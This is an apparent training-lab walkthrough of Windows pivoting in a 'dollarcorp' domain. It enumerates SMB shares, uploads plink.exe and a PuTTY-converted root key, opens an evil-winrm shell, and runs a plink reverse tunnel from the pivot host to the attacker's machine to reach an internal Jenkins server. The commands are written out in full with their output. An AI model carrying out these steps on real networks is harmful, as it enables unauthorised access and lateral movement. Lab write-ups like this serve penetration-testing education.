

Windows plink pivoting

Have access to pivot machine.

```
[user@attack]~[/Desktop]
$ smbmap -d dollarcorp -H windowspivot -u 'student141' -p 'snipped'
[+] IP: windowspivot:445      Name: unknown
      Disk                               Permissions      Comment
      ----                               -
Admin  ADMIN$                           READ, WRITE     Remote
share  C$                               READ, WRITE     Default
      IPC$                               READ ONLY Remote IPC
      myshare                           READ, WRITE
```

```
[user@attack]~[/Desktop]
$
```

Able to access target shares folder.

```
[user@attack]~[/Desktop]
$ smbclient //windowspivot/myshare -U 'dollarcorp\student141'
Enter DOLLARCORP\student141's password:
Try "help" to get a list of possible commands.
smb: \> ls
.                D          0  Sat Nov  6 22:44:52 2021
..               D          0  Sat Nov  6 22:44:52 2021

          31298906 blocks of size 4096. 26101892 blocks available
smb: \>
```

Upload plink.

```
smb: \> put plink.exe
putting file plink.exe as \plink.exe (35736.5 kb/s) (average 35736.7 kb/s)
smb: \> ls
.                D          0  Sat Nov  6 22:46:46 2021
..               D          0  Sat Nov  6 22:46:46 2021
plink.exe        A    731888  Sat Nov  6 22:46:46 2021

          31298906 blocks of size 4096. 26101673 blocks available
smb: \>
```

Access remote machine using winrm.

<https://www.hackingarticles.in/evil-winrm-winrm-pentesting-framework/>

```
[X]~[user@attack]~[/Desktop/evil-winrm]
$ evil-winrm -i 192.168.179.129 -u 'student141' -p 'SNIPPED'

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc()
function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-
winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\student141\Documents>
```

Convert id_rsa into putty equivalent.

```
[root@attack]~[/ssh]
$ #puttygen id_rsa -o id_putty
```

On attacking machine, make sure to have the following on sshd_config.

```
PermitRootLogin yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2
```

Make sure authorized keys are present.

```
[root@attack]~/.ssh
#cp id_rsa.pub authorized_keys
[root@attack]~/.ssh
#lsf
total 28K
drwx----- 1 root root 100 Nov 6 22:59 ./
drwx----- 1 root root 456 Nov 6 22:57 ../
-rw-r--r-- 1 root root 565 Nov 6 22:59 authorized_keys
-rw----- 1 root root 2.0K Nov 6 22:57 id_putty
-rw----- 1 root root 2.6K Nov 6 00:34 id_rsa
-rw-r--r-- 1 root root 565 Nov 6 00:34 id_rsa.pub
-rw-r--r-- 1 root root 8.4K Nov 6 22:59 known_hosts
[root@attack]~/.ssh
#
```

Root login locally successful.

```
[root@attack]~/.ssh
#ssh root@localhost
Linux attack 5.14.0-9parrot1-amd64 #1 SMP Debian 5.14.9-9parrot1 (2021-10-26) x86_64

Parrot GNU/Linux

The programs included with the Parrot GNU/Linux are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Parrot GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Nov 6 23:00:27 2021 from ::1
[root@attack]~
#
```

Now upload the priv key that was converted by putty.

```
[root@attack]~/.ssh
#smbclient //windowspivot/myshare -U 'dollarcorp\student141'
Enter DOLLARCORP\student141's password:
Try "help" to get a list of possible commands.
smb: \> put id_putty
putting file id_putty as \id_putty (1991.0 kb/s) (average 1991.2 kb/s)
smb: \> ls
.                D            0   Sat Nov 6 23:04:22 2021
..               D            0   Sat Nov 6 23:04:22 2021
id_putty         A       2039   Sat Nov 6 23:04:22 2021
plink.exe        A    731888   Sat Nov 6 22:46:46 2021

31298906 blocks of size 4096. 26096196 blocks available
smb: \>
```

Now issue the command below.

192.168.234.150 is the ip address of ci.dollarcorp.moneycorp.local

8080 is the port that is used for Jenkins.

Id_putty is the keyfile that is used for successful authentication as root.

What the command does below is to forward port 8080 on the CI machine to our local port 8888.

```
*Evil-WinRM* PS C:\myshare> cmd.exe /c echo y | .\plink.exe -R 8888:192.168.234.150:8080
root@192.168.179.128 -i id_putty -N
plink.exe : The server's host key is not cached. You have no guarantee
+ CategoryInfo          : NotSpecified: (The server's ho...ve no guarantee:String) [],
RemoteException
+ FullyQualifiedErrorId : NativeCommandError
that the server is the computer you think it is. The server's ssh-ed25519 key fingerprint is:ssh-
ed25519 255 SHA256:Bd/b1xmDKtPM5vY4LR1A750It9L1XHmndR4s15eXSXcIf you trust this host, enter "y"
to add the key toPuTTY's cache and carry on connecting.If you want to carry on connecting just
once, withoutadding the key to the cache, enter "n".If you do not trust this host, press Return
to abandon theconnection.Store key in cache? (y/n, Return cancels connection, i for more info)
Using username "root".y
```

Observe how i can now access CI machines Jenkins app locally on port 8888.

The screenshot shows a web browser window with the address bar set to `localhost:8888`. The browser's address bar and tabs are visible at the top. The Jenkins logo is prominently displayed in the header. Below the header, there is a sidebar on the left with navigation links: "New Item", "People", "Build History", "Manage Jenkins", "My Views", "Lockable Resources", and "New View". The main content area is titled "Dashboard" and contains a table of build items. The table has columns for "S" (Status), "W" (Workspace), and "Name". The first row shows a build with a green checkmark icon in the "S" column, a blue icon in the "W" column, and the name "test". Below the table, there is a section for "Build Queue" which is currently empty, and a section for "Build Executor Status" which shows two executors in an "Idle" state.

S	W	Name
		test

Icon: S M L

Build Queue

No builds in the queue.

Build Executor Status

1 Idle

2 Idle